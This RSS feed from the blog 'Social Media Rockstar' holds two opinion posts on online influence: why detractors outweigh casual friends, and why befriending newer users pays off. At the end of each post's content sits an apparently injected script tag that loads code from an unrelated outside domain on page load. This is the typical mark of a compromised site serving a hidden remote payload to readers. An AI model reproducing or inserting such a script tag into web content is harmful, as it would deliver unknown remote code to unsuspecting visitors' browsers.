<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Social Media Rockstar &#187; influence</title>
	<atom:link href="http://socialmediarockstar.com/tag/influence/feed" rel="self" type="application/rss+xml" />
	<link>http://socialmediarockstar.com</link>
	<description>Social Media Blog -  .::Social Media Rockstar::.</description>
	<lastBuildDate>Mon, 28 Jun 2010 21:55:14 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Why Online Enemies Are More Powerful Than Friends</title>
		<link>http://socialmediarockstar.com/why-online-enemies-are-more-powerful-than-friends</link>
		<comments>http://socialmediarockstar.com/why-online-enemies-are-more-powerful-than-friends#comments</comments>
		<pubDate>Tue, 16 Jun 2009 01:44:07 +0000</pubDate>
		<dc:creator>Brett Borders</dc:creator>
				<category><![CDATA[Opinion]]></category>
		<category><![CDATA[aggressive behavior]]></category>
		<category><![CDATA[auto DMs]]></category>
		<category><![CDATA[influence]]></category>
		<category><![CDATA[online enemies]]></category>
		<category><![CDATA[online fans]]></category>
		<category><![CDATA[online friends]]></category>
		<category><![CDATA[online karma]]></category>
		<category><![CDATA[spammers]]></category>

		<guid isPermaLink="false">http://socialmediarockstar.com/?p=3228</guid>
		<description><![CDATA[Social media is a popularity contest.  Although not everyone keeps score, there is a  distinctly competitive element where people race to build up the most fans, as quickly as possible. Having a large quantity of fans can  help you be successful and spread your message. But the size of your online shadow [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><span class="drop_cap"><strong>S</strong></span>ocial media is a popularity contest.  Although not everyone keeps score, there is a  distinctly competitive element where people race to build up the most fans, as quickly as possible. Having a large quantity of fans <em>can</em>  help you be successful and spread your message. But the size of your online shadow &#8212; the (often invisible)  enemies who dislike and distrust you &#8212; can have have an even bigger impact on your influence.</p>
<div align="center" class="cap"><img src="http://farm4.static.flickr.com/3660/3629893218_e1be91bb6d.jpg?v=0">
<p>Ahmadinejad &#8220;won&#8221; the election, but lost the respect and cooperation of many Iranians and international leaders</p>
</div>
<p>If someone thinks you&#8217;re uninteresting, they might unfriend or mostly ignore you &#8211; but they usually won&#8217;t <em>try to get in the way of your success</em>.  However, if you speak / act / brand yourself in a way that offends someone enough to put you on their &#8220;bad list&#8221; &#8211; they will oftentimes try to quietly &#8220;block&#8221; your message from getting out to others:</p>
<ul>
<li>Won&#8217;t retweet, reciprocate, or recognize you &#8211;  ever again.</li>
<li>Anonymously downvote your stories or comments.</li>
<li>Whisper or gossip negative stuff behind your back.</li>
<li>Will recommend &#8220;anyone but you&#8221; for jobs, speaking gigs, etc.</li>
</ul>
<p>In more severe cases, people will <strong>aggressively</strong> try to sabotage your chances of success.  They might publish negative or defamatory information about you. Or they&#8217;ll go behind the scenes and ask people to blacklist you, or file complaints with the authorities (search engines, site moderators, employers, event organizers).  This can quickly erode at the thousands of hours of effort you&#8217;ve spent creating goodwill and a positive personal brand.</p>
<h3>Active Resistance is the Ultimate Buzz Killer</h3>
<p><em>Creating major buzz around your ideas requires an unbroken crescendo of community cooperation and enthusiasm.</em>  A just couple of grudging downvotes or influential people snubbing you early in the cycle <strong>can</strong> very easily keep your message from gaining momentum fast enough. This is why I believe your online enemies can be more powerful than your friends&#8230; <em>your enemies are usually much more diligent about blocking the spread of your message than the average acquaintance is dedicated to spreading it</em> for you. Here&#8217;s the rough equation in my head:</p>
<div align="center" class="cap"><img src="http://farm4.static.flickr.com/3625/3629931012_f5e74f5872.jpg?v=0">
<p>Detractors are much more likely to resist your efforts than casual friends are willing to support them.</p>
</div>
<p>I see the most successful and influential people online as those with a relatively large number of fans and relatively few harsh detractors. To me, an aggressive marketer with 10,000 superficial friends &#8220;on paper,&#8221; but only 50 who really trust and endorse them &#8212; and a shadow of 50,000 people who feel they&#8217;re a spammer, loudmouth or self-centered jerk&#8230; has far less true influence than a person with &#8220;only&#8221; 450 diehard fans who will do anything for them and 5 people who dislike them.</p>
<p>There&#8217;s always the temptation to cut corners or do things <em>quickly</em> to get ahead &#8211; things like<em> auto DMs, mass e-mail lists,  follow and unfollow games, copying people&#8217;s ideas or content, bragging,  flambait &#038; personal attacks</em>&#8230; and they might work to some degree but they often have the side effect of <em>hurting people&#8217;s feelings and respect for you</em>.  People&#8217;s respect is a vital and difficult-to-repair social media asset.</p>
<div align="center"><img src="http://farm4.static.flickr.com/3403/3208443492_64ffe83da2.jpg?v=0"></div>
<p><a href="http://twitter.com/home/?status=RT+%40BrettBorders+Why+Online+Enemies+Are+More+Powerful+Than+Friends+-+http%3A%2F%2Fbit.ly%2Flpuedb"><img src="http://farm4.static.flickr.com/3407/3482009810_05ce51e6d3_m.jpg">&nbsp;&nbsp;Click here to share this post on Twitter!</a></p>
<p class="alert">“If you enjoyed this post, please leave a  comment below or <a href="http://feedburner.google.com/fb/a/mailverify?uri=SocialMediaRockstar&amp;loc=en_US">subscribe via e-mail</a> or <a href="http://feeds.feedburner.com/SocialMediaRockstar">RSS</a>. Don’t miss out on upcoming social media articles and interviews!” -<em>Brett</em></p>
<p><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://socialmediarockstar.com/why-online-enemies-are-more-powerful-than-friends/feed</wfw:commentRss>
		<slash:comments>132</slash:comments>
		</item>
		<item>
		<title>Why It Pays to Befriend the &#8216;Little Guy&#8217;</title>
		<link>http://socialmediarockstar.com/little-guy</link>
		<comments>http://socialmediarockstar.com/little-guy#comments</comments>
		<pubDate>Sun, 12 Apr 2009 21:57:27 +0000</pubDate>
		<dc:creator>Brett Borders</dc:creator>
				<category><![CDATA[Social Media Tips]]></category>
		<category><![CDATA[following people on Twitter]]></category>
		<category><![CDATA[friending people]]></category>
		<category><![CDATA[guy kawsaki]]></category>
		<category><![CDATA[influence]]></category>
		<category><![CDATA[kevin rose]]></category>
		<category><![CDATA[linkerati]]></category>
		<category><![CDATA[making friends]]></category>
		<category><![CDATA[newbies]]></category>
		<category><![CDATA[power users]]></category>
		<category><![CDATA[twitter followers]]></category>
		<category><![CDATA[we follow]]></category>

		<guid isPermaLink="false">http://socialmediarockstar.com/?p=2091</guid>
		<description><![CDATA[There&#8217;s a well-documented obsession with &#8220;big numbers&#8221; in social media. Whenever the mass media does a story on Twitter, they usually mention how many followers each person has.  More is better, right?  Well&#8230;  I say that if Pete Cashmore (@mashable) has 1,000,000 followers &#8211; that&#8217;s quite impressive and valuable &#8211; for him. [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><span class="drop_cap"><strong>T</strong></span>here&#8217;s a well-documented obsession with &#8220;<em>big numbers</em>&#8221; in social media. Whenever the mass media does a story on Twitter, they usually mention <a href="http://www.latimes.com/news/nationworld/nation/la-na-twitter3-2009mar03,0,6909088.story">how many followers</a> each person has.  More is better, right?  Well&#8230;  I say that if Pete Cashmore (<a href="http://twitter.com/mashable">@mashable)</a> has 1,000,000 followers &#8211; that&#8217;s quite impressive and valuable &#8211; <strong>for him</strong>. </p>
<p>But if you are intent on climbing higher on the social media ladder, you&#8217;ve gotta decide <em>who is most important and strategically valuable &#8212; <strong>for you</strong> &#8212; to spend your limited time interacting with.</em></p>
<div class="cap" align="center"><img src="http://farm4.static.flickr.com/3557/3434906191_68172627b8.jpg?v=0" class="size-full frame">
<p>Reaching out to the less-connected &#8220;little guy&#8221; has many <strong>big</strong> advantages. image: <a href="" rel="nofollow">schlag</a></div>
<p>Reaching out to all the 4, 5 and 6 figure &#8220;big guys&#8221; isn&#8217;t necessarily the best strategy for making new friends and partnerships. In fact, many of them are too swamped for you to expect anything beyond a flakey, surface-level relationship &#8211; if you can get their attention at all.</p>
<h3>Benefits of Befriending Less Popular Users:</h3>
<p>If someone just started out last month and only has 87 followers, many people would automatically pass them over as insignificant. I personally think that&#8217;s a <strong>huge mistake</strong>, as the &#8220;little guys&#8221; <em>can be</em> some of the <strong>most valuable people</strong> to invest your time in. Here&#8217;s why:</p>
<ul>
<li><strong>The &#8220;little guy&#8221; is more likely to see your updates.</strong></li>
<p><em> <a href="http://twitter.com/guykawasaki">@guykawasaki</a> and <a href="http://twitter.com/kevinrose">@kevinrose</a> are powerful players, but unless you end up either investing in their companies or sleeping with them&#8230;  there&#8217;s only a slim chance that they&#8217;ll personally <em>see</em> your message. Even if someone is &#8220;only&#8221; following 4,000&#8230; they may well miss most of your updates.</em></p>
<li><strong>They &#8220;little guy&#8221; usually has more time to interact.</strong></li>
<p> <em>She isn&#8217;t overloaded with links and requests yet, and is far more likely to have a spare moment to reply to you, leave a comment on your blog, or Digg your stories.</em></p>
<li><strong>The &#8220;little guy&#8221; will never forget you when they become &#8220;big&#8221; and popular online</strong></li>
<p><em> New users are starved for help and attention. If you reach out to a newbie and help them figure it out,  you&#8217;ll stay in their &#8220;inner circle&#8221; for life.</em>
</ul>
<p><span id="more-2091"></span><br />
When I go to the Twitter directory <a href="http://wefollow.com">We Follow</a> to find new friends, I feel they have it backwards. At the top they show the <a href="http://wefollow.com/tag/socialmedia">&#8220;power networkers&#8221; with tens of thousands of followers</a>. I skip those people &#8211; because I know they&#8217;re probably too slammed to pay any attention to me &#8211; and go right to <a href="http://wefollow.com/tag/socialmedia/page226">the back of the list</a>. There&#8217;s where I like to find friends who probably have to time to chat, or extra space on their screens and RSS readers. </p>
<p><strong>Connecting with influential people is also important</strong>&#8230; but my own strategy is to spend about <em>30% of my time establishing and maintaining my relationships with &#8220;bigger name&#8221; people, and 70% of it reaching out to newer people who seem like they &#8220;get it.&#8221;</em></p>
<p>I&#8217;ll invest time in anyone who shows promise and potential, let the relationships form&#8230; and then watch as my &#8220;social garden&#8221; blooms in a dazzling variety of colors and connections. </p>
<div align="center"><img src="http://farm4.static.flickr.com/3403/3208443492_64ffe83da2.jpg?v=0"></div>
<div style="background-color: #fbde14; border-top: 2px dashed gray; margin:0px 5px ; padding: 5px 5px 25px 5px;">
<p style="color: #2e5a8e; font-weight: bold; font-size: 1.25em;">Social Media Rockstar Runs on Thesis Theme for Wordpress</p>
<div style="margin: 15px 0 ; float: right;"><img class="alignright" src="http://farm4.static.flickr.com/3449/3993722476_0cf4f3919f.jpg" alt="" width="100" height="70" /></div>
<p style="margin: -25px 0 0 0;">Thesis is an easy-to-customize, <a href="http://bit.ly/SqQaw" rel="nofollow">premium Wordpress theme</a> that comes with full technical support. The beautiful style and pixel-perfect typography makes your writing <em>look</em> more polished and professional.  If you&#8217;re serious about blogging and you want to focus more on your writing and do less hassling with PHP code&#8230; then <a href="http://bit.ly/10HRyn" rel="nofollow">check out the Thesis theme for Wordpress now</a>! &#8211; <em>Brett</em>
</div>
<p><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://socialmediarockstar.com/little-guy/feed</wfw:commentRss>
		<slash:comments>1022</slash:comments>
		</item>
	</channel>
</rss>
